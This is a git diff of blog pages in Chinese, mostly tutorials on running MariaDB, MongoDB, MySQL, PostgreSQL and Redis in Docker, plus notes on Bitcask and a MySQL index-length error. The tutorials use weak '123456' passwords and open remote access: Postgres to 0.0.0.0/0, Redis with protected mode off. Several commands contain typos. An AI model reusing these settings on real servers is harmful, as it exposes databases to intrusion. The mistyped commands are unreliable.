Bitacask在设计之初就不是追求最快的速度,作者觉得快到足够使用即可,它使用内存来做索引,用磁盘来存储数据,具有实现简单,可读性强,性能优秀等众多优点。由于它只有一个写入点,且只能是串行写入,所以尤其适合存储大量只需一次IO就能写入的小块数据,对于大块数据而言,会使得吞吐量非常低。

鉴于其简单的设计,非常适合初学者学习和入门,社区里面也有很多开源实现,比如nutsDBroseDB,两者都是嵌入式KV数据库,均为go语言实现。动手自己实现一个基于Bitacask的数据库,可以加深理解。

API

Riak官方在文档中描述了Bitcask参考的API,仅仅只有几个接口,下面以go语言的伪代码展示。

type BitCask interface {
+    // 创建一个新的bitcask实例
+	Open(dir) (db, error)
+    // 获取指定的键值
+	Get(key) (value, error)
+    // 新建或插入键值
+	Put(key, value) (value, error)
+    // 删除指定的键值
+	Delete(key) (value, error)
+    // 列出所有可用的键
+	List() ([]key, error)
+    // 迭代键值
+	Fold(fn) error
+    // 合并
+	Merge(dir) error
+    // 同步磁盘
+	Sync() error
+    // 关闭实例
+	Close() error
+}
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/docker_install_mariadb.html b/posts/code/db/docker_install_mariadb.html new file mode 100644 index 0000000..9ec2654 --- /dev/null +++ b/posts/code/db/docker_install_mariadb.html @@ -0,0 +1,110 @@ + + + + + + + + Docker上安装MariaDB | 寒江蓑笠翁 + + + + + + +

Docker上安装MariaDB

寒江蓑笠翁大约 5 分钟数据库MairaDBSQL关系数据库

Docker上安装MariaDB


官网:MariaDBopen in new window

开源地址:https://github.com/MariaDB/serveropen in new window

在Mysql被Oracle收购以后,MySql之父觉得此时的Mysql不再是一个纯粹的开源数据库了。于是没多久便出走了,随后他便从Mysql社区fork出来一个新的分支:MariaDB,到目前为止已经是一的独立的项目了。该数据库以作者女儿的名字来命名的,相比于Mysql而言它是一个完全开源的数据库,在协议和表定义方面也兼容,相比于mysql社区版支持更多的存储引擎和功能。

镜像

镜像地址:mariadb - Official Image | Docker Hubopen in new window

目前的维护版本有11和10,因为是开源社区维护的,所以版本迭代要比mysql快很多,这里选择相对稳定的10

root@k8s-n1:~# docker pull mariadb:10
+10: Pulling from library/mariadb
+707e32e9fc56: Already exists 
+4e342cc0fc32: Pull complete 
+8c036f60ad2b: Pull complete 
+bb0246c52237: Pull complete 
+3352be57b4c5: Pull complete 
+c9fc61d5a68c: Pull complete 
+4c23450a7a9d: Pull complete 
+3a747ebfb0b2: Pull complete 
+Digest: sha256:16b181cf0cbca0bc8e5f8ef3695a82c7bd9ba36cc4fc587f4b357c558faeeccd
+Status: Downloaded newer image for mariadb:10
+docker.io/library/mariadb:10
+root@k8s-n1:~# docker images
+REPOSITORY   TAG         IMAGE ID       CREATED        SIZE
+mariadb      10          32c5888d2fa9   8 days ago     403MB
+

准备

准备好要挂载数据的文件夹

mkdir -p ~/db/mariadb/{data,log,conf}
+

maridadb在这些方面都与mysql兼容,所以基本类似,创建配置文件~/db/mariadb/conf/my.cnf

[client]
+default_character_set=utf8mb4
+
+[mysqld]
+# 字符集
+character_set_server = utf8mb4
+collation-server = utf8mb4_general_ci
+# 设置默认时区东八区
+default-time_zone = '+8:00'
+# 错误日志
+log-error=/etc/mysql/log/error.log
+

容器

运行如下命令创建容器,mariadb使用的配置目录跟mysql完全一致

$ docker run -p 3307:3306 --name maria10 \
+    --restart=always \
+    -v ~/db/mariadb/conf/:/etc/mysql/conf.d \
+    -v ~/db/mariadb/data/:/var/lib/mysql \
+    -v ~/db/mariadb/log/:/etc/mysql/log \
+    -e MYSQL_ROOT_PASSWORD=123456 \
+    -e MYSQL_DATABASE=hello \
+    -d mariadb:10
+

创建起容器后看看是否正常运行

root@k8s-n1:~# docker ps
+CONTAINER ID   IMAGE                COMMAND                   CREATED         STATUS         PORTS                                                  NAMES
+e4156637905e   mariadb:10           "docker-entrypoint.s…"   2 seconds ago   Up 1 second    0.0.0.0:3307->3306/tcp, :::3307->3306/tcp              maria10
+

进入容器里面看看数据库命令行,这里使用mysql命令也可以登录。

root@k8s-n1:~# docker exec -it maria10 /bin/bash
+root@e4156637905e:/# mariadb -u root -p
+Enter password: 
+Welcome to the MariaDB monitor.  Commands end with ; or \g.
+Your MariaDB connection id is 3
+Server version: 10.11.5-MariaDB-1:10.11.5+maria~ubu2204 mariadb.org binary distribution
+
+Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+MariaDB [(none)]> 
+

看看数据库,可以看到默认的hello数据库成功创建

MariaDB [(none)]> show databases;
++--------------------+
+| Database           |
++--------------------+
+| hello              |
+| information_schema |
+| mysql              |
+| performance_schema |
+| sys                |
++--------------------+
+5 rows in set (0.001 sec)
+

连接

我用的navicat15,已经支持mariadb,正常来说它的协议应该跟mysql完全兼容。

就目前而言感受不到太大的区别,以后用的深了一点再来评价吧。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/docker_install_mongo.html b/posts/code/db/docker_install_mongo.html new file mode 100644 index 0000000..ca5e005 --- /dev/null +++ b/posts/code/db/docker_install_mongo.html @@ -0,0 +1,190 @@ + + + + + + + + Docker上安装MongoDB | 寒江蓑笠翁 + + + + + + +

Docker上安装MongoDB

寒江蓑笠翁大约 8 分钟数据库RedisNoSQL文档数据库

Docker上安装MongoDB


官网:MongoDBopen in new window

mongodb是一个高性能的非关系型数据库,或者说文档数据库因为它的基本单位就是文档,在我的一个开源项目中主要拿它来存游戏信息,比较灵活,存在mysql纯纯是找罪受。mongodb说实话第一次看到的时候,SQL写起来真的反人类,弄成了json的样子,如果语句长了点嵌套多了点,可读性骤然下降。

db.articles.aggregate( [
+                        { $match : { score : { $gt : 70, $lte : 90 } } },
+                        { $group: { _id: null, count: { $sum: 1 } } }
+                       ] );
+

尤其是花括号看的真的眼花,这玩意在命令行里面敲起来是真滴折磨。

镜像

镜像地址:mongo - Official Image | Docker Hubopen in new window

这里我就直接用mongo6

$ docker pull mongo:6.0
+6.0: Pulling from library/mongo
+707e32e9fc56: Pull complete 
+c7ac84d07e95: Pull complete 
+ce678af55db4: Pull complete 
+e6212b74a0e2: Pull complete 
+08077ff6df71: Pull complete 
+dd57de346688: Pull complete 
+fe042c164d9d: Pull complete 
+a5e746310c93: Pull complete 
+497b5f19e5e9: Pull complete 
+Digest: sha256:fcd6d98809196eef559acb15bd2cdd0c17290c9d398e2b3fc1303a7166399f3b
+Status: Downloaded newer image for mongo:6.0
+docker.io/library/mongo:6.0
+

镜像拉下来以后看看

root@k8s-n1:~# docker images
+REPOSITORY   TAG         IMAGE ID       CREATED        SIZE
+mongo        6.0         427729062675   8 days ago     681MB
+

681MB说实话挺大了

配置

创建要挂载的数据目录

mkdir -p ~/db/mongo/data
+

创建默认的配置文件

touch ~/db/mongo/mongod.conf
+

写入如下配置

net:
+   bindIp: 0.0.0.0
+   port: 27017
+systemLog:
+   destination: file
+   path: "/etc/mongo/mongod.log"
+   logAppend: true
+

创建默认的日志文件

touch ~/db/mongo/mongod.log
+

容器

运行如下命令创建容器

$ docker run --restart=always --name mongo6 \
+	-v ~/db/mongo/mongod.conf:/etc/mongo/mongod.conf \
+	-v ~/db/mongo/mongod.log:/etc/mongo/mongod.log \
+	-v ~/db/mongo/data/:/data/db \
+	-p 27017:27017 \
+	-e LANG=C.UTF-8 \
+	-d mongo:6.0 \
+	mongod -f /etc/mongo/mongod.conf
+

其中的参数

  • 环境变量LANG是为了设置数据库字符编码
  • -f /etc/mongo/mongod.conf指定具体的配置文件地址

容器创建完毕后,查看一下是否正常运行。

root@k8s-n1:~/db/mongo# docker ps
+CONTAINER ID   IMAGE                COMMAND                   CREATED             STATUS              PORTS                                                  NAMES
+b246162e5a3f   mongo:6.0            "docker-entrypoint.s…"   4 minutes ago       Up About a minute   0.0.0.0:27017->27017/tcp, :::27017->27017/tcp          mongo6
+

然后进入数据库命令行操作

root@k8s-n1:~/db/mongo# docker exec -it mongo6 /bin/bash
+root@b246162e5a3f:~# mongosh
+Current Mongosh Log ID: 6526b2e373d21e9bc1a719e2
+Connecting to:          mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.0.1
+Using MongoDB:          6.0.10
+Using Mongosh:          2.0.1
+
+For mongosh info see: https://docs.mongodb.com/mongodb-shell/
+
+
+To help improve our products, anonymous usage data is collected and sent to MongoDB periodically (https://www.mongodb.com/legal/privacy-policy).
+You can opt-out by running the disableTelemetry() command.
+
+------
+   The server generated these startup warnings when booting
+   2023-10-11T14:31:28.184+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
+   2023-10-11T14:31:28.351+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
+   2023-10-11T14:31:28.351+00:00: vm.max_map_count is too low
+------
+
+test> 
+

由于初始时是没有默认的用户和密码,所以进来就是test用户,接下来创建一个管理员账号,先写sql

db.createUser({
+	user:"admin",
+	pwd:"123456",
+	roles:[
+		{
+			role:"userAdminAnyDatabase",
+			db:"admin"
+		}
+	]
+})
+

主要有以下权限可以用

Read:允许用户读取指定数据库
+
+readWrite:允许用户读写指定数据库
+
+dbAdmin:允许用户在指定数据库中执行管理函数,如索引创建、删除,查看统计或访问system.profile
+
+userAdmin:允许用户向system.users集合写入,可以找指定数据库里创建、删除和管理用户
+
+clusterAdmin:只在admin数据库中可用,赋予用户所有分片和复制集相关函数的管理权限。
+
+readAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读权限
+
+readWriteAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读写权限
+
+userAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的userAdmin权限
+
+dbAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的dbAdmin权限。
+
+root:只在admin数据库中可用。超级账号,超级权限
+

切换倒admin数据库后再创建

admin> use admin
+admin> db.createUser({
+...     user:"admin",
+...     pwd:"123456",
+...     roles:[
+...             {
+...                     role:"userAdminAnyDatabase",
+...                     db:"admin"
+...             }
+...     ]
+... })
+{ ok: 1 }
+admin> db.auth('admin','123456')
+{ ok: 1 }
+

查看用户列表

admin> db.system.users.find()
+[
+  {
+    _id: 'admin.admin',
+    userId: new UUID("ce1b5964-baf0-440e-80af-3223b816a2bf"),
+    user: 'admin',
+    db: 'admin',
+    credentials: {
+      'SCRAM-SHA-1': {
+        iterationCount: 10000,
+        salt: '5nwa5T/qWrzRGDUWHFkeEg==',
+        storedKey: 'X47HeMtquXIoEii9gjlUwYK/mMY=',
+        serverKey: 'O8WilvO70SfzvEszOhByYwjkO60='
+      },
+      'SCRAM-SHA-256': {
+        iterationCount: 15000,
+        salt: 'O1lbsKr1LOIAcnjbXLZovtzBbFY0rIg1myaGEg==',
+        storedKey: 'F5rTnCPW6/Qar6bOyIIS5E4QBMRLVQhGsiFjlv3StDM=',
+        serverKey: 'l0Dk06m3laPqxjcybH9nXtDGtqInnfIEdr/eTB+rYFw='
+      }
+    },
+    roles: [ { role: 'userAdminAnyDatabase', db: 'admin' } ]
+  }
+]
+

完成后,退出然后修改mongo的配置文件添加

security:
+    authorization: enabled
+

重启容器之后再重新登录

root@k8s-n1:~/db/mongo# docker exec -it mongo6 mongosh -u admin -p
+Enter password: ******
+Current Mongosh Log ID: 6526bbacf7edfe2170bd2249
+Connecting to:          mongodb://<credentials>@127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.0.1
+Using MongoDB:          6.0.10
+Using Mongosh:          2.0.1
+
+For mongosh info see: https://docs.mongodb.com/mongodb-shell/
+
+test> 
+

连接

navicat也支持mongodb数据库,如果上面操作正确的话,连接应该是不会有问题的。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/docker_install_mysql.html b/posts/code/db/docker_install_mysql.html new file mode 100644 index 0000000..bdbbb65 --- /dev/null +++ b/posts/code/db/docker_install_mysql.html @@ -0,0 +1,138 @@ + + + + + + + + Docker上安装Mysql | 寒江蓑笠翁 + + + + + + +

Docker上安装Mysql

寒江蓑笠翁大约 5 分钟数据库MysqlSQL关系数据库

Docker上安装Mysql


官网:MySQL :: MySQL Documentationopen in new window

mysql是很经典的一个数据库了,刚接触到这个数据库的时候还是刚刚大一下那会,那会在windows上安装把密码给整忘了捣鼓了老半天才整回来。日后在学习的时候,捣鼓中间件都是在本地的Linux虚拟机上+docker捣鼓,再也不会把这些玩意安装在windows上了。

镜像

镜像地址:mysql - Official Image | Docker Hubopen in new window

Mysql常用的版本只有8和5,最常用的应该是5.7,不过我在写代码的时候用的都是mysql8。

root@k8s-n1:~# docker pull mysql:8.0
+8.0: Pulling from library/mysql
+5262579e8e45: Pull complete 
+c6f87bacd0dd: Pull complete 
+581ee7db3e65: Pull complete 
+6d5c555a4100: Pull complete 
+51f4afa7a279: Pull complete 
+d9e414f0b7c6: Pull complete 
+aab3a444c469: Pull complete 
+aab51168fe3a: Pull complete 
+2a63757e7c9c: Pull complete 
+830e4b0cc0bc: Pull complete 
+cc0cd1f61ed7: Pull complete 
+Digest: sha256:4753043f21f0297253b35a5809a0ec3f12597e8dbeeb709647307edc943ea7b1
+Status: Downloaded newer image for mysql:8.0
+docker.io/library/mysql:8.0
+

查看下镜像

root@k8s-n1:~# docker images
+REPOSITORY   TAG         IMAGE ID       CREATED        SIZE
+mysql        8.0         82ebbd05b8a9   2 months ago   577MB
+

准备

创建本地用于挂载数据的文件夹

mkdir -p ~/db/mysql/{data,conf,log}
+

创建mysql配置文件~/db/mysql/conf/my.cnf

[client]
+default_character_set=utf8mb4
+
+[mysqld]
+# 字符集
+character_set_server = utf8mb4
+collation-server = utf8mb4_general_ci
+# 设置默认时区东八区
+default-time_zone = '+8:00'
+# 错误日志
+log-error=/etc/mysql/log/error.log
+

容器

运行如下命令,创建容器

$ docker run -p 3306:3306 --name mysql8 \
+    --restart=always \
+    -v ~/db/mysql/conf/:/etc/mysql/conf.d \
+    -v ~/db/mysql/data/:/var/lib/mysql \
+    -v ~/db/mysql/log/:/etc/mysql/log \
+    -e MYSQL_ROOT_PASSWORD=123456 \
+    -e MYSQL_DATABASE=hello \
+    -d mysql:8.0
+
  • MYSQL_ROOT_PASSWORD,root用户的默认密码,不指定的话会在输出中显示默认密码
  • MYSQL_DATABASE,默认创建的数据库名

看看mysql容器有没有成功运行。

root@k8s-n1:~/db# docker ps
+CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                                  NAMES
+062dc35ac579   mysql:8.0            "docker-entrypoint.s…"   22 seconds ago   Up 21 seconds   0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp   mysql8
+

使用mysql命令访问数据库

root@k8s-n1:~/db# docker exec -it mysql8 /bin/bash
+bash-4.4# mysql -u root -p
+Enter password: 
+Welcome to the MySQL monitor.  Commands end with ; or \g.
+Your MySQL connection id is 8
+Server version: 8.0.34 MySQL Community Server - GPL
+
+Copyright (c) 2000, 2023, Oracle and/or its affiliates.
+
+Oracle is a registered trademark of Oracle Corporation and/or its
+affiliates. Other names may be trademarks of their respective
+owners.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+mysql> 
+

查看有哪些数据库,可以看到hello数据库被成功创建了

mysql> show databases;
++--------------------+
+| Database           |
++--------------------+
+| hello              |
+| information_schema |
+| mysql              |
+| performance_schema |
+| sys                |
++--------------------+
+5 rows in set (0.01 sec)
+

查看hello数据库中的表,可以看到空空如也

mysql> use hello;
+Database changed
+mysql> show tables;
+Empty set (0.00 sec)
+

连接

切换到mysql数据库,然后查看user

mysql> use mysql
+Reading table information for completion of table and column names
+You can turn off this feature to get a quicker startup with -A
+
+Database changed
+mysql> select user, host from user;
++------------------+-----------+
+| user             | host      |
++------------------+-----------+
+| root             | %         |
+| mysql.infoschema | localhost |
+| mysql.session    | localhost |
+| mysql.sys        | localhost |
+| root             | localhost |
++------------------+-----------+
+5 rows in set (0.00 sec)
+

可以看到root账户默认是允许远程登录的,一般建议创建一个新的账号来用,然后再禁用root远程登录,如果只是自己学习的话那无所谓了,修改完以后记得刷新下。

mysql> flush privileges;
+

然后再用navicat连接

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/docker_install_postgres.html b/posts/code/db/docker_install_postgres.html new file mode 100644 index 0000000..033e79d --- /dev/null +++ b/posts/code/db/docker_install_postgres.html @@ -0,0 +1,122 @@ + + + + + + + + Docker上安装PostgreSql | 寒江蓑笠翁 + + + + + + +

Docker上安装PostgreSql

寒江蓑笠翁大约 6 分钟数据库PostgreSQLSQL关系数据库

Docker上安装PostgreSql


官网:PostgreSQL: The world's most advanced open source databaseopen in new window

关系型数据库的话以前只学习过mysql一种,最近打算来捣鼓一下大名鼎鼎的postgresql,官网的标题就是世界上最先进的关系型数据库。为了方便学习,采用本地虚拟机+docker的方式进行安装。

镜像

首先在dockerhub看看镜像postgres - Official Image | Docker Hubopen in new window

一看postgresql的维护版本这么多,不知道选什么就选最稳的11

提示

16版本的话navicat还不太兼容

root@k8s-n1:/home/wyh/db/postgres# docker pull postgres:11-alpine
+11-alpine: Pulling from library/postgres
+96526aa774ef: Pull complete 
+af5bdf29647f: Pull complete 
+bd073dcbedbd: Pull complete 
+edb6d1e27748: Pull complete 
+aaa33f598b71: Pull complete 
+04d1e72543e2: Pull complete 
+b496b48df204: Pull complete 
+8364467ecffa: Pull complete 
+Digest: sha256:d07f0ca3a41267f5bc14c65f6aadaae5cadc2912e5f3203b9b6f524f28869aaf
+Status: Downloaded newer image for postgres:11-alpine
+docker.io/library/postgres:11-alpine
+

查看下镜像

root@k8s-n1:/home/wyh/db/postgres# docker images
+REPOSITORY   TAG         IMAGE ID       CREATED        SIZE
+postgres     11-alpine   a05886c0c182   6 days ago     228MB
+

容器

运行如下命令创建容i去

docker run -p 5432:5432\
+	-v /home/wyh/db/postgres/data:/var/lib/postgresql/data\
+    -e POSTGRES_PASSWORD=123456\
+    -e LANG=C.UTF-8\
+    --restart=always\
+    --name postg11\
+    -d postgres:11-alpine
+
  • POSTGRES_PASSWORD,环境变量,设置超级用户默认密码
  • LANG,环境变量,设置字符集

跑起来看看看日志

root@k8s-n1:/home/wyh/db/postgres# docker logs postg16
+
+PostgreSQL Database directory appears to contain a database; Skipping initialization
+
+2023-10-11 08:00:26.738 UTC [1] LOG:  starting PostgreSQL 16.0 (Debian 16.0-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
+2023-10-11 08:00:26.738 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
+2023-10-11 08:00:26.738 UTC [1] LOG:  listening on IPv6 address "::", port 5432
+2023-10-11 08:00:26.741 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
+2023-10-11 08:00:26.745 UTC [29] LOG:  database system was interrupted; last known up at 2023-10-11 07:59:14 UTC
+2023-10-11 08:00:26.756 UTC [29] LOG:  database system was not properly shut down; automatic recovery in progress
+2023-10-11 08:00:26.760 UTC [29] LOG:  redo starts at 0/152BEE8
+2023-10-11 08:00:26.761 UTC [29] LOG:  invalid record length at 0/152BF20: expected at least 24, got 0
+2023-10-11 08:00:26.761 UTC [29] LOG:  redo done at 0/152BEE8 system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
+2023-10-11 08:00:26.763 UTC [27] LOG:  checkpoint starting: end-of-recovery immediate wait
+2023-10-11 08:00:26.767 UTC [27] LOG:  checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.001 s, sync=0.001 s, total=0.005 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB; lsn=0/152BF20, redo lsn=0/152BF20
+2023-10-11 08:00:26.770 UTC [1] LOG:  database system is ready to accept connections
+

再看看ps

root@k8s-n1:/home/wyh/db/postgres# docker ps
+CONTAINER ID   IMAGE             COMMAND                   CREATED          STATUS             PORTS                                                  NAMES
+cab7fbfe1ba4   postgres:latest   "docker-entrypoint.s…"   54 seconds ago   Up 54 seconds      0.0.0.0:5432->5432/tcp, :::5432->5432/tcp              postg16
+

命令行

容器成功运行以后,到数据库命令行里面看看,默认的超级用户名为postgres

docker exec -it postg16 pgql -U postgres -W
+

pg的命令行有独特的命令,不像mysql全是SQL语句,一般以下划线\开头,\?查看帮助命令。查看所有的数据库

postgres-# \l
+                                                      List of databases
+   Name    |  Owner   | Encoding | Locale Provider |  Collate   |   Ctype    | ICU Locale | ICU Rules |   Access privileges   
+-----------+----------+----------+-----------------+------------+------------+------------+-----------+-----------------------
+ postgres  | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | 
+ template0 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | =c/postgres          +
+           |          |          |                 |            |            |            |           | postgres=CTc/postgres
+ template1 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | =c/postgres          +
+           |          |          |                 |            |            |            |           | postgres=CTc/postgres
+(3 rows)
+

查看所有用户

postgres-# \du
+                             List of roles
+ Role name |                         Attributes                         
+-----------+------------------------------------------------------------
+ postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS
+

查看两个配置文件的地址

postgres=# show config_file;
+               config_file                
+------------------------------------------
+ /var/lib/postgresql/data/postgresql.conf
+(1 row)
+
+postgres=# show hba_file;
+               hba_file               
+--------------------------------------
+ /var/lib/postgresql/data/pg_hba.conf
+(1 row)
+

退出命令行

postgres-# \q
+

远程登录

pg默认是不允许远程登录的,必须得修改其配置文件。修改postgresql.conf文件的中监听地址为如下。

listen_addresses = '*'
+

然后再修改pg_hba.conf,添加如下规则

# TYPE  DATABASE        USER            ADDRESS                 METHOD
+host 	all				all 			0.0.0.0/0 				md5
+

修改完后把容器重启下

docker restart postg11
+

然后就可以连接成功了。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/docker_install_redis.html b/posts/code/db/docker_install_redis.html new file mode 100644 index 0000000..f3acae2 --- /dev/null +++ b/posts/code/db/docker_install_redis.html @@ -0,0 +1,100 @@ + + + + + + + + Docker上安装Redis | 寒江蓑笠翁 + + + + + + +

Docker上安装Redis

寒江蓑笠翁大约 5 分钟数据库RedisNoSQLKV数据库

Docker上安装Redis


官网:Redisopen in new window

Redis是我接触的第一个NoSQL数据库,一般是拿来做缓存用,不支持windows。刚开始用的windows版,一看版本redis2,几年没维护了,后面只能在虚拟机上捣鼓了,算是我接触虚拟机和Linux系统的一个契机。

镜像

镜像地址:redis - Official Image | Docker Hubopen in new window

redis现在的维护版本有6和7,两个的区别就是RESP协议的区别,一个是RESP2,一个是RESP3,理论上来说RESP3应该是兼容RESP2的,不过Redis社区声称以后不会兼容RESP2。这里用的是版本7。

root@k8s-n1:~/db# docker pull redis:7.0
+7.0: Pulling from library/redis
+a803e7c4b030: Pull complete 
+41184dfc6b2d: Pull complete 
+5e1a2c60601a: Pull complete 
+cb708665a094: Pull complete 
+474f3ac19790: Pull complete 
+4f4fb700ef54: Pull complete 
+9e2123517e06: Pull complete 
+Digest: sha256:7d11c3a67e89510af2b8554e0564f99e292a47f270adac024b4a3226a7fdb275
+Status: Downloaded newer image for redis:7.0
+docker.io/library/redis:7.0
+

查看下镜像

root@k8s-n1:~/db# docker images
+REPOSITORY   TAG         IMAGE ID       CREATED        SIZE
+redis        7.0         4d015f1fd3b1   4 weeks ago    145MB
+

配置

配置文件地址:https://redis.io/docs/management/config/open in new window

redis默认是不允许远程连接,而且没有密码,这些需要在配置文件中指定,对应指定版本的redis需要去官网下载配置文件。

这里选择的是7.0版本的配置文件,首先创建容器的数据挂载文件夹

mkdir -p ~/db/redis/data
+

然后下载配置文件,因为是外网可能不太好下载

wget https://raw.githubusercontent.com/redis/redis/7.0/redis.conf
+

然后将里面的如下四个配置修改如下值,然后保存退出。

# 任意地址
+bind * -::*
+# 关闭保护模式
+protect-mode no
+# 设置密码
+requirepass 123456
+# 开启appendonly持久化
+appendonly yes
+# 日志文件
+logfile "/etc/redis/redis.log"
+# 日志级别
+loglevel notice
+# 内存达到上限时,key的删除策略 noeviction就是谁也不删,直接在写入时返回错误
+maxmemory-policy noeviction
+

配置文件的路径位于~/db/redis/redis.conf,然后还要记得把日志文件自己创建下。

touch ~/db/redis/redis.log
+chamod a+wr ~/db/redis/redis.log
+

容器

运行如下命令

$ docker run -p 6379:6379 --name=redis7 \
+    --restart=always \
+    --privileged=true \
+    -v ~/db/redis/data:/data \
+    -v ~/db/redis/:/etc/redis/ \
+    -d redis:7.0 \
+    redis-server /etc/redis/redis.conf
+

创建后查看下有没有正常运行

root@k8s-n1:~/db/redis/conf# docker ps
+CONTAINER ID   IMAGE                COMMAND                   CREATED         STATUS         PORTS                                                  NAMES
+6322049a489b   redis:7.0            "docker-entrypoint.s…"   5 minutes ago   Up 5 seconds   0.0.0.0:6379->6379/tcp, :::6379->6379/tcp              redis7
+

进入容器测试下命令行

root@k8s-n1:~/db/redis# docker exec -it redis7 /bin/bash
+root@6322049a489b:/data# redis-cli   
+127.0.0.1:6379> auth 123456
+OK
+127.0.0.1:6379> set 1 2
+OK
+127.0.0.1:6379> get 1
+"2"
+127.0.0.1:6379> 
+

连接

redis客户端软件的话推荐两个,虽然navicat也支持redis连接,但还是那种行列方式看起来相当膈应。

上面两个都是开源的,且都支持中文,我都有在用,前者毕竟c++写的项目,nodejs性能跟它没法比,但后者界面更加人性化,功能要多很多。

如果前面的配置正常来搞的话这里连接是不会出问题的。

可以看到关于redis的很多统计信息。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/index.html b/posts/code/db/index.html new file mode 100644 index 0000000..1a5263a --- /dev/null +++ b/posts/code/db/index.html @@ -0,0 +1,48 @@ + + + + + + + + Db | 寒江蓑笠翁 + + + + + + +

Db

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/db/index_length_exceed.html b/posts/code/db/index_length_exceed.html new file mode 100644 index 0000000..bc8f353 --- /dev/null +++ b/posts/code/db/index_length_exceed.html @@ -0,0 +1,70 @@ + + + + + + + + MsSQL索引字节数超出最大值 | 寒江蓑笠翁 + + + + + + +

MsSQL索引字节数超出最大值

寒江蓑笠翁大约 4 分钟数据库MySQL索引

MsSQL索引字节数超出最大值


问题

最近在开发的时候遇到了一个索引上的问题,模型结构体如下

type Permission struct {
+	gorm.Model
+	Name   string `gorm:"type:varchar(255);comment:perm name;"`
+	Object string `gorm:"type:varchar(255);uniqueIndex:perm;comment:resource will be accessed;"`
+	Action string `gorm:"type:varchar(255);uniqueIndex:perm;comment:resource action;"`
+	Group  string `gorm:"type:varchar(255);uniqueIndex:perm;comment:permission group;"`
+	Tag    string `gorm:"type:varchar(255);uniqueIndex:perm;comment:perm's tag,define type of perm;"`
+
+	PermissionTable
+}
+
+

从中可以看到创建了一个联合唯一索引perm,那么在使用gorm迁移数据库时,会报如下的错误

Specified key was too long; max key length is 3072 bytes
+

mysql已经提示说你的索引太长了,最大只能是3072个字节数,那么究竟占了多少个字节数呢,计算方法就是类型占用字节数,由于我的mysql版本是8.0,字符集设置的是utf8mb4,一般来说索引限制有两种情况

  • ROW_FORMAT= COMPACT 或 REDUNDANT,单列索引支持的最大长达为767bytes。
  • ROW_FORMAT= COMPRESSED 或 DYNAMIC,单列索引支持的最大长度为3072bytes。

一个字符占用的是4个字节,那么上面结构体中索引的所占用的字节就是255 x 4 x 4 = 4080,总共4080个字节大于3072,所以自然就无法成功创建。

解决

既然已经发现了问题所在,那么该如何解决?在经过一顿资料查找后,总结出了几种解决办法。

减少长度

在上面的结构中,其实很多字段是没有必要设置255长度的,比如对于tag来说,50的长度就差不多够用了,比如说修改成如下长度。

type Permission struct {
+	gorm.Model
+	Name   string `gorm:"type:varchar(50);comment:perm name;"`
+	Object string `gorm:"type:varchar(100);uniqueIndex:perm;comment:resource will be accessed;"`
+	Action string `gorm:"type:varchar(50);uniqueIndex:perm;comment:resource action;"`
+	Group  string `gorm:"type:varchar(30);uniqueIndex:perm;comment:permission group;"`
+	Tag    string `gorm:"type:varchar(30);uniqueIndex:perm;comment:perm's tag,define type of perm;"`
+
+	PermissionTable
+}
+

(100+50+30+30) x 4 = 840 ,总共840个字节,远小于3072的限制。但万一业务需要就得这么大的长度,这种情况就不适用了。

前缀索引

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/river_db.html b/posts/code/db/river_db.html new file mode 100644 index 0000000..fac1718 --- /dev/null +++ b/posts/code/db/river_db.html @@ -0,0 +1,56 @@ + + + + + + + + RiverDB | 寒江蓑笠翁 + + + + + + +

RiverDB

寒江蓑笠翁大约 42 分钟数据库NoSQLBitcask造轮子

RiverDB


开头

大概在11月份,我写了两篇文章,一篇讲的是Bitcask,另一个讲的是Write Ahead Log,这两个东西跟数据库都有着莫大的关系。写完以后,我便萌生了一个想法,能不能自己动手写一个数据库,因为在此前数据库对我来说都只是使用而已,写一个数据库似乎有点遥不可及,并且从来没有接触过这些。想到就做,于是我花了点时间去参考了Github上比较知名的开源数据库包括:Badger,LevelDB,godis,RoseDB,NutsDB等

主流数据库的存储模型有B+Tree和LSM,最终选择了使用Bitcask存储模型来作为我的入门选择,它就像是简化版的LSM,因为它足够简单,不至于太难一上来直接劝退,也是我选择它的一大原因,准备妥当后,便开始着手朝着这个未知的领域窥探一番。

